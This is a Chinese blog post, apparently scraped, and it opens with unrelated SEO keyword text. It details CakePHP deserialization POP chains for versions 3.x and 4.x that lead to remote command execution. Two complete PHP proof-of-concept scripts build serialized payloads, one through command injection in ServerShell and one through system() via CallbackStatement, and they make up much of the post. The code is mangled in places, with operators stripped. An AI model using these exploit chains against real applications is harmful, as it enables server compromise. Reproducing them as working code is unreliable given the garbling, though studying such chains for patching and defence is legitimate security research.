个人如何制作一个网站,wordpress 自动标签,网页制作的原则是什么,网站图片链接是怎么做的最近网上公开了cakephp一些反序列化链的细节#xff0c;但是没有公开poc#xff0c;并且网上关于cakephp的反序列化链比较少#xff0c;于是自己跟一下 #xff0c;构造pop链。
CakePHP简介
CakePHP是一个运用了诸如ActiveRecord、Association Data Mapping、Front Contr…最近网上公开了cakephp一些反序列化链的细节但是没有公开poc并且网上关于cakephp的反序列化链比较少于是自己跟一下 构造pop链。
CakePHP简介
CakePHP是一个运用了诸如ActiveRecord、Association Data Mapping、Front Controller和MVC等著名设计模式的快速开发框架。该项目主要目标是提供一个可以让各种层次的PHP开发人员快速地开发出健壮的Web应用而又不失灵活性。
3.x ≤ 3.9.6
入口位于vendor\symfony\process\Process.php的__destruct方法 在一些老版本中__destruct方法是这样的 跟进stop方法 跟进isRunning方法 $this-status可控可以继续进入updateStatus方法让其等于started即可 继续跟进readPipes方法 发现$this-processPipes可控且调用readAndWrite方法这样就我们可以调用任意类的__call方法
全局搜索找到vendor\cakephp\cakephp\src\ORM\Table.php有合适的__call方法 这里的$this-_behaviors也可控到这里我们就可以调用任意类的call方法了
继续寻找在vendor\cakephp\cakephp\src\ORM\BehaviorRegistry.php找到了合适的call方法 这里就可以调用任意类的任意方法了但是参数不可控
再来看看进入call_user_func_array的条件
这里的$method就是之前触发__call的readAndWrite方法
跟进hasMethod方法$this-_methodMap可控所以可以使其返回true 再来看看has方法是在父类ObjectRegistry中定义的$this-_loaded也可控 所以条件成立可以利用回调函数调用任意方法
接下来找到不需要参数的合适方法
位于vendor\cakephp\cakephp\src\Shell\ServerShell.php的main方法 执行的命令由可控参数$this-_host、$this-_port等拼接而成我们可以利用分号进行命令注入
但是由于前面的php -S命令在windows下没有php环境变量可能无法利用
在执行命令之前还得先让两个$this-out方法正常返回否则会报错退出
一路跟进来到vendor\cakephp\cakephp\src\Console\ConsoleIo.php 这里的$level为1我们只需要让$this-_level小于1即可使其返回true
到这里就可以执行系统命令了 poc:
?php
namespace Cake\Core;
abstract class ObjectRegistry
{public $_loaded [];
}namespace Cake\ORM;
class Table
{public $_behaviors;
}use Cake\Core\ObjectRegistry;
class BehaviorRegistry extends ObjectRegistry
{public $_methodMap [];protected function _resolveClassName($class){}protected function _throwMissingClassError($class, $plugin){}protected function _create($class, $alias, $config){}
}namespace Cake\Console;
class Shell
{public $_io;
}class ConsoleIo
{public $_level;
}namespace Cake\Shell;
use Cake\Console\Shell;
class ServerShell extends Shell
{public $_host;protected $_port 0;protected $_documentRoot ;protected $_iniPath ;
}namespace Symfony\Component\Process;
use Cake\ORM\Table;
class Process
{public $processPipes;
}$pop new Process([]);
$pop-status started;
$pop-processPipes new Table();
$pop-processPipes-_behaviors new \Cake\ORM\BehaviorRegistry();
$pop-processPipes-_behaviors-_methodMap [readandwrite[servershell,main]];
$a new \Cake\Shell\ServerShell();
$a-_io new \Cake\Console\ConsoleIo();
$a-_io-_level 0;
$a-_host ;open /System/Applications/Calculator.app;;
$pop-processPipes-_behaviors-_loaded [servershell$a];echo base64_encode(serialize($pop));
3.x某些版本、4.x ≤ 4.2.3
4.x版本前半部分的整体思路和3.x基本一样部分代码有变动
4.x版本ServerShell类修改了没有之前一样好用的方法了
寻找新的调用链
在vendor\cakephp\cakephp\src\Database\Statement\CallbackStatement.php 这里有动态调用方法名可控参数$row通过$this-_statement-fetch($type)获得
于是寻找可用的fetch方法
在vendor\cakephp\cakephp\src\Database\Statement\BufferedStatement.php有合适的方法 这里$this-buffer、$this-index、$this-_allFetched参数均可控可以返回我们指定的$row值
于是可以达成任意方法执行直接指定system执行系统命令 poc:
?php
namespace Cake\Core;
abstract class ObjectRegistry
{public $_loaded [];
}namespace Cake\ORM;
class Table
{public $_behaviors;
}use Cake\Core\ObjectRegistry;
class BehaviorRegistry extends ObjectRegistry
{public $_methodMap [];protected function _resolveClassName(string $class): ?string{return $class;}protected function _throwMissingClassError(string $class, ?string $plugin): void{}protected function _create($class, $alias, $config){}
}namespace Cake\Database\Statement;
class StatementDecorator {public $_statement;
}class CallbackStatement extends StatementDecorator
{public $_callback;
}class BufferedStatement
{public $_allFetched;public $buffer [];protected $index 0;
}namespace Symfony\Component\Process;
use Cake\ORM\Table;
class Process
{public $processPipes;
}$pop new Process([]);
$pop-status started;
$pop-processPipes new Table();
$pop-processPipes-_behaviors new \Cake\ORM\BehaviorRegistry();
$pop-processPipes-_behaviors-_methodMap [readandwrite[callbackstatement,fetch]];
$a new \Cake\Database\Statement\CallbackStatement($statement, $driver,);
$a-_callback system;
$a-_statement new \Cake\Database\Statement\BufferedStatement($statement, $driver);
$a-_statement-_allFetched true;
$a-_statement-buffer [open /System/Applications/Calculator.app];
$pop-processPipes-_behaviors-_loaded [callbackstatement$a];echo base64_encode(serialize($pop));